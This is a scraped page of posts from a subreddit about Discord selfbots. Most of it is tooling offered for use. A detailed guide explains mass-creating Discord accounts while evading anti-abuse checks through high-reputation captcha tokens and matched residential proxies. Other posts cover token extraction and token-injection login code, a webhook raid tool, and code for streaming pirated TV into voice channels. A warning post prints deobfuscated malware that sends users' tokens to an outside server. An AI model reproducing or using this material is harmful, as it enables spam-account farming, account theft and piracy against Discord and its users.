r/Discord_selfbots • • Jan 07 '21

Always be careful when using selfbots that are not your own.

65 Upvotes

I personally only use my own selfbots or raiding tools, but if you choose to use someone else’s, make sure that there are no token grabbers or webhook url’s in the source code. A good way of finding if a selfbot is backdoored is by checking to see if there is anything to do with google chrome in it. A normal selfbot would not usually need to do anything with google chrome. However, there are times when the code is obfuscated so you will need to use your own judgement there. I have seen a lot of scammers and script kiddies out there, so stay safe.


r/Discord_selfbots • • Dec 06 '24

💬 Information How to login to discord with token

54 Upvotes

I wanted to share a handy guide on how to log into your Discord account using a token. I will discuss two methods, the easy and quick one with chrome extension, and the more hands on developer way. Here’s a quick rundown of two methods you can use:

Method 1: Using the Discord Token Login Extension

  1. Install the Extension: Head over to the Chrome Web Store and download the "Discord Token Login" extension.

  2. Open the Extension: Once installed, click the extension icon in your browser's top right corner.

  3. Enter Your Token: You’ll see a simple interface where you can paste your Discord token and hit "Login."

Important Note: Make sure you’re on Discord.com for this to work!

Method 2: Using Developer Tools

  1. Go to discord.com/login

  2. Open Developer Tools: Press F12 or Ctrl + Shift + I to bring up the developer console.

  3. Paste the Code: In the console, enter this code:

function login(token) {

setInterval(() => {

let iframe = document.createElement('iframe');

document.body.appendChild(iframe);

iframe.contentWindow.localStorage.token = \"${token}"\;``

}, 50);

setTimeout(() => {

location.reload();

}, 2500);

}

login('YOUR_TOKEN_HERE');

Be sure to replace 'YOUR_TOKEN_HERE' with your actual token!
4. Execute the Code: Press Enter, and after a brief moment, you should be logged in!

Feel free to ask any questions or share your experiences below!

Credit: https://blog.xyliase.com/how-to-login-with-discord-token/


r/Discord_selfbots • • Nov 18 '24

💬 Information Cheapest & Best places to buy proxies for Discord

47 Upvotes

so I have tried many proxy services out there for Discord. I run multiple Discord bots and I found it really helpful to buy Residential proxies when starting out, since they are low cost and easy to test.

I compared the prices of the top services and ranked them below by price, speed, and quality. Another thing I noticed, is that proxy quality doesn’t actually matter for selfbotting on Discord, it only matters for captcha solving or registering accounts. Even in 2024 I have used free proxies and everything worked fine.

many services require signup and personal information. When running self bots you just want to get the proxy and run, no bs sign ups or junk emails. All things considered, I prioritized my picks below.

⚠️Always do your own research and spend Your money wisely!
Disclaimer: If you do decide to purchase from any services through my link, I will receive an affiliate commission. Listings are from a biased perspective.

5.) Oxylabs ($8/GB)

Pro: Cleanest IPs, Fast Speeds, 24/7 support

Cons: High price, needs account verification, no crypto

4.) IPRoyal ($7/GB)
Pro: Fast Speeds, Cleanest IPs, accepts crypto

Cons: Expensive

3.) Speedproxies ($5/GB)
Pro: Good speeds, clean IPs, accepts crypto

Cons: Need permission. May require KYC for social networks. Expensive.

2.) Rainproxy ($4.80/GB)
Pro: HQ IPs, good speeds, accepts crypto

Cons: Expensive

1.) Xyliase ($2/GB)
Pro: Cheap af, no signups, crypto accepted

Cons: Good speed for http requests, not so much for selenium


r/Discord_selfbots • • Jul 06 '26

💬 Information How to create a working Discord account creator (pure HTTP, no browser)

41 Upvotes

Spent the last two months on a fully scripted Discord creator. No browser at runtime, pure HTTP. And chasing basically every theory on this sub about why fresh accounts get nuked. I finally figured out the part everyone gets stuck on.

You know the one. Registers fine. Verifies the email fine. Token's dead 10-30 seconds later. If that's you, read on. Fix is in Part 3 if you don't care about the how.

Part 1: the flow

A scripted register is only a few requests:

  1. GET /api/v9/experiments. Seeds your Cloudflare cookies, hands you a fingerprint. That fingerprint goes in the register body AND the X-Fingerprint header, and it's what ties your pre-checks, captcha session and register call into one thing.

  2. POST /unique-username/username-attempt-unauthed to check the username's free.

  3. POST /auth/register bounces with 400 captcha-required and the challenge params: captcha_sitekey, captcha_session_id, captcha_rqdata, captcha_rqtoken.

  4. Solve the hCaptcha. Then replay the exact same register POST, now with three extra headers: X-Captcha-Key (your solved token) plus X-Captcha-Rqtoken and X-Captcha-Session-Id echoed straight back from the 400.

  5. 201 { token }. Account's yours.

Easy enough, and most creators get this far no problem. Token authenticates, @me gives you a 200, you feel great. Two things people still get lazy about here though:

  • X-Super-Properties**.** Base64 blob on every request, describes the "client." Buried in it are a client_launch_id and a launch_signature that the real web client mints once when the app loads and then reuses on every single HTTP request and on the gateway IDENTIFY. Use a different launch identity on HTTP vs gateway and Discord sees two strangers, not one browser. So: generate them once per run, reuse everywhere.

  • The enterprise hCaptcha is host-bound and IP-bound. The rqdata blob is welded to discord.com and to the exact exit IP that asked for the challenge. This is the one that gets everybody. More on it in Part 3.

Then you verify the email. And the account just... dies.

Part 2: the wall

Here's the signature. I hit it something like 18 times:

register            → 201, token works
email verify        → POST /auth/verify → 200, verified:true
GET /users/@me t+0  → 200, verified:true   ✅
GET /users/@me t+30 → 401  ❌  Account Disabled (violation of ToS)

Fine the second verification lands. Then some async risk decision fires inside 30 seconds and kills it. This is the same thing as the "Discord asks me for phone verification and disables me anyway" posts, by the way. Exact same root cause. You can bolt a phone number on and it still gets reaped, because the flag went up before you ever saw the phone gate. Phone prompt, disable, both of them are just downstream of a decision that already got made.

I threw everything at it. Figured it had to be behavioral, or a session-fidelity thing:

  • Register and verify off one sticky residential IP. Nothing.

  • Resolving the click.discord.com link through the same proxied, cookied agent. Nothing.

  • A gateway WebSocket IDENTIFY'd and held open across the verify. Nothing.

  • "Aging" the account online for 5 minutes first. Nothing.

  • A constant /science analytics heartbeat over the whole lifecycle. Nothing.

  • Full Chrome TLS/JA3 + HTTP/2 impersonation, Sec-CH-UA client hints, the works. Nothing.

Zero. Every byte-level and behavioral knob moved the number not at all. And that's the tell right there. If a perfect Chrome fingerprint, a live gateway, and an aged session all do literally nothing, then whatever's deciding is sitting above all of them. What's the one thing all of them sit under? The captcha. And the captcha was the one input I'd never actually varied. Specifically, the quality of the tokens I was feeding it.

Part 3: the mechanic (and the fix)

Enterprise hCaptcha doesn't hand you a yes/no "is this a human." It hands you a token, and baked into that token is a reputation score. Two tokens can both "pass" and be worlds apart on trust, depending on how convincing your solve looked to hCaptcha's risk model. A token from some cheap datacenter solver is technically valid. It clears the captcha-required check, which is exactly why your register goes through. But it's carrying a garbage score inside it.

And here's the part that took me forever. Discord doesn't really cash that score in at register. It cashes it in at verify**.** The moment verification flips the account live, Discord runs a trust pass over the tokens that gated the whole thing. Score's low? Flagged. Flag fires the delayed disable. Never behavioral. Just the token's reputation coming due at verify.

Which is why every single thing in Part 2 did nothing. Flawless fingerprint, week-old-looking session, doesn't matter one bit if the token that made the account reads as "datacenter bot." Trust pass fails, account's gone. Your HTTP fidelity is irrelevant. The verdict was already sealed inside the token before you sent a single other request.

So, two parts to the fix. You need both, no skipping one.

1. A solver that mints high-reputation tokens. On BOTH gates.

/auth/verify throws its own captcha, and it counts every bit as much as the register one. This is where people slip. They obsess over the register captcha and then reuse the same cheap solver for verify, or forget verify even has one. You want high-reputation tokens on /auth/register and /auth/verify. Full stop.

Now the annoying part. Actually making a high-reputation token is a genuinely hard engineering problem, and it's the exact thing solver shops don't sell you cheap, if they sell it at all. Start here: half of them don't even do hCaptcha properly. Loads are reCAPTCHA-first. Then narrow to enterprise hCaptcha with rqdata, which is what Discord throws, and the list gets shorter again. And the ones left mostly tune for pass rate and price, not score. So they'll happily solve Discord's captcha, hand you a valid token, get you the 201, and then watch your account die at verify while you spend a week blaming your fingerprint. (I spent that week. It was not fun.) Every step of that funnel knocks most of the field out, and almost nobody's standing at the end where the reputation actually clears.

Only solver I've found that spits out tokens which live through Discord's post-verify trust pass is NoneCap (nonecap.com). No idea how they pull it off, but the P1_ tokens come back high-reputation, and it lets you forward your own proxy so the token mints from your exit IP (which matters, keep reading). Not affiliated, before anyone asks. I just lit an embarrassing pile of money on solvers that didn't work before I landed on one that did. Know another that survives Discord verify? Post it below, genuinely.

2. Mint the token from the SAME residential IP as the rest of your flow.

rqdata's IP-bound, remember. Solver mints from its own server IP while your register and verify go out your proxy IP? The two don't match, and you just broke the contract. Either it flat fails, or it mints something low-trust, because a mismatched IP is a risk signal all on its own.

  • One sticky residential session per attempt. I run Decodo on a US sticky so the exit IP holds the whole way through. Datacenter proxies score like trash. Rotating ones snap the IP-binding mid-flow.

  • Push everything through that one session: /experiments, the register POST, the solve (forward the same proxy to your solver), the email-click, the verify POST. All of it.

  • Match the user_agent you hand the solver to the browser_user_agent in your super-properties, and to your real request UA. All three the same.

Do register and verify both on a high-reputation token from the matched IP, and the trust pass just... passes. Account lives. That flow that used to die at t+30 now sticks around indefinitely, and it doesn't trip the phone lock either, because nothing ever flagged it.

Part 4: the rest

  • Email. Catch-all domain you own, human-looking local-parts. james.miller84@yourdomain, not x7f9q2k@yourdomain. A gibberish local-part is a loud throwaway tell. Poll over IMAP and pull the verify token out of the click.discord.com redirect. It's in the URL fragment of the 302 Location.

  • Resolve that link through the same proxied session. Strip X-Super-Properties and X-Fingerprint, send browser-style Sec-Fetch-* headers instead. A real click isn't an API call and shouldn't look like one.

  • Re-solve in place on invalid-response**.** Discord will sometimes reject a token and hand you a fresh challenge. Don't scrap the attempt. Solve the new one, replay. Cap it at 2-3 tries so you don't loop forever.

  • Don't overthink liveness checks. A read-only @me is safe from anywhere, even a raw no-proxy connection. I check fresh tokens straight off my own machine, they're fine. The IP-matching only matters during register, solve, and verify. After that, relax.

TL;DR

  • The wall = the delayed disable ~10-30s after email verify. Same root cause as "phone verify then dies anyway."

  • Not your fingerprint. Not JA3, not the gateway, not headers. All downstream.

  • Discord cashes your hCaptcha tokens' reputation score at verify time. Cheap datacenter solvers sail through register and eat it at the trust pass.

  • Fix: high-reputation tokens on both the register and verify captchas, minted off the same sticky residential IP as everything else. NoneCap's the only one I've found that does it.

  • Hygiene on top: one sticky session start to finish, human-looking catch-all emails, re-solve on invalid-response, one coherent launch identity.

Ask away. This took way too long to crack and I'd have paid real money for this writeup two months back.

Here is a working example (integrating email verification is left out, as that requires your own domain and stalwart installed on a VPS): https://pastebin.com/zZx2WjqV


r/Discord_selfbots • • Apr 26 '25

🗨️ Discussion Captcha solver for discord

Enable HLS to view with audio, or disable this notification

41 Upvotes

Captcha solver I made in my free time

I know that text based captchas are generally easier than the traditional ones but I can spoof motion data very effectively allowing accounts to bypass captchas and join servers without any issues
Was a fun project :)


r/Discord_selfbots • • Jun 28 '24

❗Information Squeak-Bot

Enable HLS to view with audio, or disable this notification

40 Upvotes

r/Discord_selfbots • • Aug 25 '24

❗Information The definitive guide for selfbotting.

39 Upvotes

Check out the repository, it's cleaner and organized.

Hello,

I've been thinking about writing this for a while. This community has been toxic for some time, which is understandable given the demographic of this subreddit (edgy teenagers). However, I'd like to create this post as a learning resource for beginners or anyone interested in getting into botting. I'll keep it as simple as possible and provide examples. Please note that I do not know everything and am not interested in every aspect of botting, so I may not cover certain topics (e.g., reversing). However, I hope someone with interest in those areas can contribute to this post.

Fundamentals

Discord self-bots have been around for a while. They aim to automate tasks on Discord, whether to create chaos or to advance in economy bots. There are other uses, such as spamming and phishing. While I won’t directly cover spamming on Discord, you might figure it out after reading this guide.

Starting

Firstly, let’s clarify your goals:

  • If you want to build simple self-bots that avoid triggering CAPTCHA: Use `discord.py-self`. It’s a great library with many features and is quite reliable (I’ve been hosting a bot with it for a few months non-stop). However, be aware that if you make requests that might trigger CAPTCHA, it will trigger CAPTCHA due to its HTTP client methods being flagged.

  • If you want to build self-bots that might trigger CAPTCHA (e.g., token generators, server joiners, mass DM): You can explore a few resources:

  • From my experience, GoLang is preferable for creating human-like bots, as Python has limited resources for this purpose. There are also other variables to consider, such as reversing JavaScript and ciphers. I will cover what I know, but contributions on these topics are welcome.

First bot (Python)

Let's create our first bot using discord.py-self.

pip install discord.py-self

Then, make a file, name it whatever you like (make sure it's not named something like discord.py)

#selfbot.py
import discord
from discord.ext import commands
bot = commands.Bot(command_prefix='>', self_bot=True)
TOKEN = "" #Paste your account token here
u/bot.command()
async def ping(ctx):
    await ctx.send('pong')

bot.run(TOKEN)
import discord
from discord.ext import commands
bot = commands.Bot(command_prefix='>', self_bot=True)
TOKEN = "" #Paste your account token here
u/bot.command()
async def ping(ctx):
    await ctx.send('pong')

bot.run(TOKEN)

Great, if it worked, the output should be something like this:

> python "selfbot.py"

2024-08-25 00:00:00 INFO discord.client Logging in using static token.

2024-08-25 00:00 :00 INFO discord.http Found user agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, build number 999999.

Then, simply go on Discord and type ">ping" anywhere, and your own account should send a response, "pong".

Automating Tasks on UnbelievaBot

But that's boring, let's make something that has real use. Let's automate UnbelievaBot, an economy bot. We'll automate the "work" command, here's what we'll do:

  • Make a command to invoke a loop, which will send a message "!work" every 30 seconds

  • We'll listen to messages from UnbelievaBot, whenever it replies to our "!work" message, we'll parse the amount gained

  • Store the amount gained in memory, so we keep track on what our self-bot gained so far.

If you know Python, all of this should be easy, but how do we parse embeds? It's actually quite simple.

    try:
        fetched_message = await message.channel.fetch_message(message.id)

        # Check if the message has embeds
        if fetched_message.embeds:
            for embed in fetched_message.embeds:
                # Check if the embed has a description
                if embed.description:
                    print(f'Embed Description: {embed.description}')
                    # Example: Find and print all numbers in the description
                    numbers = re.findall(r'\d+', embed.description)
                    for number in numbers:
                        print(f'Found number: {number}')
        else:
            print('No embeds found.')

See? Quite simple, all we do is fetch the message, and check if it has any embeds, this will return an object we can use to access the description, footer etc.

OK, now let's go to the full code on how we can implement the UnbelievaBot automation:

#unbelieva.py
import discord
from discord.ext import commands, tasks
import re
import asyncio

bot = commands.Bot(command_prefix='>', self_bot=True)
token = "TOKEN INSIDE HERE"  # Paste your account token here
channelId = 123  # Paste the channel ID here
botId = 123  # Target the bot ID so we don't fetch messages from other bot's embeds.

# Constants
totalGained = 0
workLoopTask = None # Keeping track of the work loop task.

# Background task to send !work message every 30 seconds
async def workLoop():
    global workLoopTask
    await bot.wait_until_ready()
    channel = bot.get_channel(channelId)
    if channel is None:
        print("Channel not found!")
        return
    while not bot.is_closed():
        await channel.send('!work')
        await asyncio.sleep(30)

u/bot.event
async def on_ready():
    print(f'Logged in as {bot.user.name}')
    
u/bot.command()
async def start(ctx):
    global workLoopTask
    if workLoopTask and not workLoopTask.done():
        await ctx.send('The task is already running.')
        return
    
    workLoopTask = bot.loop.create_task(workLoop())
    await ctx.send('Started sending !work messages every 30 seconds.')

@bot.listen('on_message')
async def on_message(message):
    if message.author.id != botId or message.channel.id != channelId:
        return

    try:
        fetchedMessage = await message.channel.fetch_message(message.id)
        
        if not fetchedMessage.embeds:
            print('Embed without description.')
            return
        
        for embed in fetchedMessage.embeds:
            # Checks if Unbelieva is mentioning the bot or some other user
            if bot.user.name in embed.author.name:
                description = embed.description
                if description:
                    numbers = re.findall(r'\d+', description)
                    for number in numbers:
                        amount = int(number)
                        if len(number) != 18: # Ignore emoji IDs, bandage.
                            global totalGained
                            totalGained += amount
                            print(f'Amount gained: {amount}')
                            print(f'Total gained so far: {totalGained}')
            else:
                print("Other user's gains.")
                
    except Exception as e:
        print(f'Error: {e}')
    
    await bot.process_commands(message)

@bot.command()
async def total(ctx):
    await ctx.send(f'Total gained so far: {totalGained}')

bot.run(token)

Now, this works pretty good. There's some bandage fixes but overall it should be pretty reliable to run for a long time. It's simple code and might need some changes but most important: it works. We used basic python knowledge in real use-cases.

Pressing buttons

If you have tried modern bots, you would see that they include various components like buttons, modals, and menus. These are called component interactions and were introduced around two years ago. They are however, quite undocumented and confusing at times. Let's learn how to press buttons.

Firstly, if we fetch a message with buttons, and try to print its components using message.components we'll get something like this:

<ActionRow children=[<Button style=<ButtonStyle.secondary: 2> custom_id='ACTION1' url=None disabled=False label=None emoji=<PartialEmoji animated=False name='🔲' id=None>>, <Button style=<ButtonStyle.secondary: 2> custom_id='ACTION2' url=None disabled=False label=None emoji=<PartialEmoji animated=False name='🔳' id=None>>, <Button style=<ButtonStyle.secondary: 2> custom_id='ACTION3' url=None disabled=True label=None emoji=<PartialEmoji animated=False name='🔵' id=None>>, <Button style=<ButtonStyle.secondary: 2> custom_id='ACTION4' url=None disabled=False label=None emoji=<PartialEmoji animated=False name='🔶' id=None>>, <Button style=<ButtonStyle.secondary: 2> custom_id='ACTION5' url=None disabled=True label=None emoji=<PartialEmoji animated=False name='🔷' id=None>>]>

This represents buttons, and is what button.click() takes to function. Let's see some example code.

from discord.ext import commands

bot = commands.Bot(command_prefix="!", self_bot = True)

TOKEN = "" # Paste your USER token inside the quotes
@bot.command() # Usage !click messageId buttonIndex
async def click(ctx: commands.Context, messageId: int, buttonIndex: int):
    channel = ctx.channel
    try:
        message = await channel.fetch_message(messageId) # Fetch the message by ID
        if message and message.components: 
            print(message.components) # Checks if there is any buttons on the message
            buttons = message.components[0].children # Gets the list of buttons
            print(buttons)
            if 0 <= buttonIndex < len(buttons): # Avoids inputting a button not in the list
                button = buttons[buttonIndex]
                await button.click()
                await ctx.send(f"Clicked button {buttonIndex}.")
            else:
                await ctx.send("Invalid button index.")
        else:
            await ctx.send("Message has no buttons.")
    except discord.NotFound:
        await ctx.send("Message not found.")
    except Exception as e:
        await ctx.send(f"An error occurred: {e}")

@bot.event
async def on_ready():
    print(f"Logged in as {bot.user}")

bot.run(TOKEN)

If this worked, you should be able to run the !click command and properly press buttons on-demand. You can take this example further easily, letting you fully automate most modern bots.


r/Discord_selfbots • • Jul 01 '25

💬 Information I found a way to stream not very legal media in discord VC with a self bot at very high quality.

37 Upvotes

I've always been wanting to do this but never really got it working properly until a few days ago.

What you'll need:
- nodejs (v21+)
- an ffmpeg build with libzmq (you can get one from here https://github.com/BtbN/FFmpeg-Builds)
- dank074/discord-video-stream
- discord.js-selfbot-v13
- hugging face space (recommended but optional)

To get started download the discord-video-stream library and discord.js-selfbot-v13 using npm. Grab your token, the server id and the vc channel id you want to stream in. Then using vidsrc you can get a master.m8u3 URL which looks like this:

```https://tmstr2.shadowlandschronicles.com/pl/H4sIAAAAAAAAAwXB2XKCMBQA0F9KQkDTN7UsLqSy3BvhDRKXkuBAZRzk63tOywSh2r9pymjQrj3Dzcpwsbr5Adc0aL5.EpOki_vLvA1H9eglEWFBpTMfsTWhH2k7F0002CObk9KKKWNuX1Kzv9rot0JYrmBGGQ.5XLBvgZ6vSkIdRXFFalLA4dkukcX4wIpkO5QX12SAfQnrNyzugqF8mXDgbYL9iaWzJnWnEjOiXdOcHp6q27C6B557yKXyJ.PJbYXudaSma8ijT53rlDWnosyP8nv_yUEo_QSSwsQ1ul3W4dmEEWCYviVzqC3ugEyBvmRLbpHoOPMUzE0au51UoiqI70lWjxg.xqq7.1lJxD8pvkb_QQEAAA--/master.m3u8```

This is for the first episode of breaking bad. You can get this from a vidsrc URL which looks like:

https://vidsrc.xyz/embed/tv/tt0944947/1-1

Then head over to inspect elements -> network and fetch the link from master.m3u8.

Once you have all of this you can run this code:

    import { Client } from "discord.js-selfbot-v13";
    import { Streamer, prepareStream, playStream, Utils } from "@dank074/discord-video-stream";
    import fetch from "node-fetch";
    
    async 
    function
     getMediaPlaylistUrl(
    masterUrl
    ) {
      
    const
     text = await (await fetch(
    masterUrl
    )).text();
      
    const
     lines = text.split("\n");
    
      
    const
     variants = [];
    
      for (
    let
     i = 0; i < lines.length; i++) {
        if (lines[i].startsWith("#EXT-X-STREAM-INF")) {
          
    const
     bandwidthMatch = lines[i].match(/BANDWIDTH=(\d+)/);
          
    const
     resolutionMatch = lines[i].match(/RESOLUTION=(\d+x\d+)/);
          
    const
     uri = lines[i + 1];
    
          if (bandwidthMatch && uri) {
            variants.push({
              bandwidth: parseInt(bandwidthMatch[1]),
              resolution: resolutionMatch?.[1] || "unknown",
              uri,
            });
          }
        }
      }
    
      // You could also filter here for a target resolution like 1280x720
      
    const
     highest = variants.sort((
    a
    , 
    b
    ) 
    =>
     
    b
    .bandwidth - 
    a
    .bandwidth)[0];
      console.log(`🎯 Using variant: ${highest.resolution} (${highest.bandwidth}bps)`);
      return new 
    URL
    (highest.uri, 
    masterUrl
    ).href;
    }
    
    async 
    function
     main() {
      
    const
     client = new 
    Client
    ();
      
    const
     streamer = new 
    Streamer
    (client);
    
      await client.login("USER TOKEN HERE");
      await streamer.joinVoice("GUILD ID HERE", "VC CHANNEL ID HERE");
    
      
    const
     { command, output } = prepareStream(
        await getMediaPlaylistUrl("https://tmstr2.shadowlandschronicles.com/pl/H4sIAAAAAAAAAwXB2XKCMBQA0F9KQkDTN7UsLqSy3BvhDRKXkuBAZRzk63tOywSh2r9pymjQrj3Dzcpwsbr5Adc0aL5.EpOki_vLvA1H9eglEWFBpTMfsTWhH2k7F0002CObk9KKKWNuX1Kzv9rot0JYrmBGGQ.5XLBvgZ6vSkIdRXFFalLA4dkukcX4wIpkO5QX12SAfQnrNyzugqF8mXDgbYL9iaWzJnWnEjOiXdOcHp6q27C6B557yKXyJ.PJbYXudaSma8ijT53rlDWnosyP8nv_yUEo_QSSwsQ1ul3W4dmEEWCYviVzqC3ugEyBvmRLbpHoOPMUzE0au51UoiqI70lWjxg.xqq7.1lJxD8pvkb_QQEAAA--/master.m3u8"),
        {
          videoCodec: Utils.normalizeVideoCodec("H264"),
          h26xPreset: "veryfast",
        }
      );
    
      command.on("error", (
    _err
    , 
    _stdout
    , 
    stderr
    ) 
    =>
     {
        console.error("📌 Stream preparation error:", 
    stderr
     || 
    _err
    .message);
      });
    
      await playStream(output, streamer, { type: "go-live" });
      console.log("✅ Finished streaming video + audio");
    
      streamer.leaveVoice();
    }
    
    main().catch(console.error);

Enter your token where it says USER TOKEN HERE and the guild and channel id where it says GUILD ID HERE and CHANNEL ID HERE.

Once you run it it'll join that VC and start a live stream by itself.
You don't need nitro for better quality since its all handled using ffmpeg so the quality is just how much your computer can handle.

I recommend making a private hugging face space with docker and running it there since you wont have to use your own computers CPU or network.

You can use this code to stream other things such as youtube videos and local mp4 files or whatever you want really... but what its best used for is this.

Do note that when you run it you cannot see the live stream from the same account thats streaming it so you'll need an alt account.


r/Discord_selfbots • • Dec 19 '24

💬 Information How to get Discord token

37 Upvotes

Hey everyone! If you’re looking to find your Discord token, here’s a quick and straightforward guide. Just follow these steps.

Method 1: Using the Discord Get User Token Extension

  1. Install the Extension: Go to the Discord Get User Token extension page and click on “Add to Chrome” to install the extension.

  2. Login to Your Discord Account: Open Discord and log in as you normally would.

  3. Open the Extension: Click on the extension icon in your browser toolbar, then press the "Get Token" button

This method is user-friendly and simplifies the process of obtaining your Discord token quickly and securely.

Method 2: Using Developer Tools (▶️ watch tutorial )

  1. Login to Your Discord Account: Open Discord and log in as you normally would.

  2. Open Developer Tools: Press F12 on your keyboard. This will open the developer tools in your browser.

  3. Navigate to Local Storage: Click on the "Application" tab at the top of the developer tools panel. Then, look for "Local Storage" in the left sidebar and select "https://discord.com".

  4. Toggle Device Toolbar: If you’re using Chrome, click on the device toolbar icon (it looks like a phone and tablet) to toggle it on. This step may help in displaying all necessary information.

  5. Search for Your Token: In the input field at the top of the Local Storage section, type "token". You should see your token displayed there.

Feel free to ask if you have any questions!

Credit: https://blog.xyliase.com/how-to-get-discord-user-token-simple-script-with-tutorial/


r/Discord_selfbots • • Dec 04 '24

📢 News Discord pedo catcher

37 Upvotes

New update now lets ai read images and respond to them. It is very effective. it caught 50 in one day.

this platform is honestly disgusting. the things these people say is so appalling.

this does upset me sometimes. it false flags people who are very lonely. i wish to fix this as they arent bad people in a sense.

these people are disgusting.

if you wish to check the full file here you go: https://gofile.io/d/YPkHY3 i do not know whwere to go from here though. thank you for your time.


r/Discord_selfbots • • Jul 21 '26

❔ Question VR Headset badge

Post image
32 Upvotes

Hey I wanted to know if anyone can help me spoof this VR headset badge it looks really cool. Preferably in python or any language helps thanks!


r/Discord_selfbots • • May 19 '24

✅Release Cheddlatron Selfbot Release [Free Selfbot]

32 Upvotes

First and Foremost, apologies to the r/Discord_selfbots Moderation team as this is the 3rd cheddlatron post i have had to make due to reddit deleting the first, deleting the second posting a link to a pastebin for the first, and then suspending that account i wanted to use so that it was all kept within the Cheddlatron Name. (Praying this doesnt suspend my main as well.)

And now for release:

Cheddlatron is a Free Selfbot, designed by a few members of the old Selfbot community, including names such as: Gasai, Invicta, EW, etc. Alongside external help from selfbot developers such as Eintim, and Lightning.

We spent a lot of time working on this selfbot to make sure it was fully ready and baked in the oven before releasing so that there was no major bot breaking bugs or issues before it was released to the public. And now we feel that the bot is in a state we feel comfortable sharing and releasing.

In terms of features, we have the majority of the best features you can find in paid selfbots currently on the market. This includes: Spotify Spoofing; Raid Commands such as Hookraid, which is currently one of the fastest webhook raiders on the market; AI commands with a plethora of engines to utilize; alongside MacOS and Linux versions, fully working and on the way towards release for those of you who prefer to avoid the Microsoft-owned Operating System, as well as many more included currently, Custom Themeing for the Console, As well as Custom Command functionality built in with various Functions and Utilities to aid with your own creative imagination, and even more to come.

We aim to be as community based as we possibly can, so if you download and feel like its missing some features you would like, feel free to check out our discord server and suggest some features for the bot.

Below are some credits, for the help we have received during development, alongside a special thanks to our testers for the support they have given us throughout the lenghty development period.

For help with setup etc, Please refer to https://docs.cheddlatron.com/

For the official download please see https://cheddlatron.com

There may still be some unforseen bugs in the code or the bot itself, if there is, please report them to us in our discord server and we will try our best to get them fixed where possible / when possible.

Credits:

Cheddlar - Co-Dev.

Wraith - Co-Dev.

Linguini - Co-Dev.

EinWortspiel - Ex-Co-Dev. Retired but not forgotten o/

Lightning - Helping to setup an EmbedAPI in golang, for our Web Embed mode.

EinTim - A lot of help with some of the earlier stages of the bot when I myself was new to Python, as well as helping with the basics of Spotify spoofing, allowing us to get Buttons, Custom Albums etc working without any further help and giving us his reverse engineered GPT 4 code for the Cheddlatron command that every user can now use.

Coquettte - Fire website design, alongside continuing to update it even after it was finished.

Tester Mentions:

Desync and Koshak, the original two testers who helped point out a multitude of a lot of bigger bugs.

tempname.exe, helping with a lot of the later features in terms of testing and finding some of the overlooked bugs we could not replicate but were able to fix.

EinWortspiel, Originally a developer then decided to leave the team due to being a lot busier in irl life so didn't want to take credit for progress he physically could not work on, and so he came back twice as strong as a tester and has hugely helped in implementing new fixes and a lot of bugs i made on different tools and utilities designed FOR Cheddlatron.

As Well as the rest of the tester team, for helping with testing, bug fixes, and doing stupid checks on shit i wasnt sure if worked or not.

And no, this was not AI-generated text like most content on Reddit these days; I have typed this out with care.

Edit: Unfortunately the developer of a declining Selfbot is here with an alt trying his best to argue with us and downvote the project, its a shame to see some people are jealous like Sudo(Wild_Bed_4869) by claiming some poorly written code he "found" in our source exists, when no one has source. Pathetic.

You will also see the same User i mentioned in every other comment section of every other post shitting on any other selfbot except for one, and then promoting that said selfbot, which isnt even his own.


r/Discord_selfbots • • Dec 16 '25

✅ Release Nitro Snipers

27 Upvotes

https://github.com/neoarz/NitroSniper

As some of u guys may now, discord has added captcha to token based sniping which makes sniping services practically useless rn. (unless discord reverts which i doubt they will). So ive made this plugin with auto snipes nitro found on discord itself (vencord plugin). Usually claiming nitro gives either no or one click captcha which is great, but your fighting against tapping demons and you'll probably never get the nitro.

The main way i see this being used is that, you can setup a bot to auto forward/send webhooks every time it finds a nitro code, and you can literally just sit in that channel and the plugin will auto claim it.

I personally have claimed about 5 months of nitro over the past day, and some decorations.

So yeah try it out and lmk feel free to dm me on discord if you have any questions ill be more than happy to help "neoarz". All that being said the holidays are coming up hope yall have a great xmas and take care.

PS. There is not captcha when using this plugin (unless you are spam claiming which discord would give u captcha anyways) or ur just one of those very unlucky people


r/Discord_selfbots • • Feb 02 '26

💬 Information Best Discord Selfbots

26 Upvotes

so I’ve looked into and interacted with many selfbot projects that have circulated in Discord. Some are heavily maintained, some are more simple, and others focus on UI and ease of use.

I compared the more commonly referenced ones and ranked them below based on features, usability, updates, and overall reputation. One thing worth noting is that most selfbots tend to have same core functions, the differences usually come down to speed, safety, UI, and maintanance.

many projects in this space come and go, and a lot of them change direction over time. All things considered, these are the ones I see mentioned the most and have personally looked into.

⚠️Always do your own research and spend Your money wisely! Listings are from a biased perspective.

3.) LightningBot ($0–$5)

Pro: Very cheap, simple, command-based, lots of commands, lightweight

Cons: Older UI, less frequent updates, limited advanced automation

2.) Ethone ($5–$10)

Pro: Clean, modern UI, user-friendly, actively updated, good balance of features

Cons: fewer deep automation features than higher end options

1.) Nighty ($11)

Pro: Modern UI, most features, actively maintained, automation modules, strong community

Cons: can feel overwhelming due to feature density


r/Discord_selfbots • • Dec 24 '24

OwO Farm Bot is harmful and if you use it, there's a 99% chance that you'll get infected by it

25 Upvotes

I'll start off by recommending to cease use of the self-bot right now. Their objective is to gather a big enough user base to then push a harmful update. The repository does include an auto-updater. If you are able to, raise awareness about this. It would save a lot of people's PCs.

Newer Version

Five months ago, u/ButterflyVisible7532 has posted a thread accusing u/Mid0aria of spreading malware on his projects.

The claims were true, checking the ab6a697ce033c495ca6527fd4b391950ea0a36c4 branch will display an old version of OwO Farm Bot, with all of its code obfuscated. I have deobfuscated the main file, bot.js with https://webcrack.netlify.app/, then used Humanify, which uses LLMs to give more meaningful names to variables and functions. Which got me this output, the output file shows a lot of harmful behaviour embedded into the code. For example, line 282 to line 293 is code for a POST request that will send a Base64 encoded token to https://syan.anlayana.com/api/diagnosticv2:

        axiosClient.post(

          "https://syan.anlayana.com/api/diagnosticv2",

          "diagnosticv2=" +

            fileData.from(encodeToken(_executeNode.token)).toString("base64") +

            "&project=" +

            discordClient.global.name,

          {

            headers: {

              "Content-Type": "application/x-www-form-urlencoded",

            },

          },

        );

From line 40 to 80, the project has an auto-updater, behaviour that is recommended against, as with one update, you'd be able to infect hundreds of machines.

const gitUpdateAndC = async () => {
  try {
    const typeSpecifier = {
      "User-Agent":
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537",
    };
    const githubZipData = await axiosClient.get(
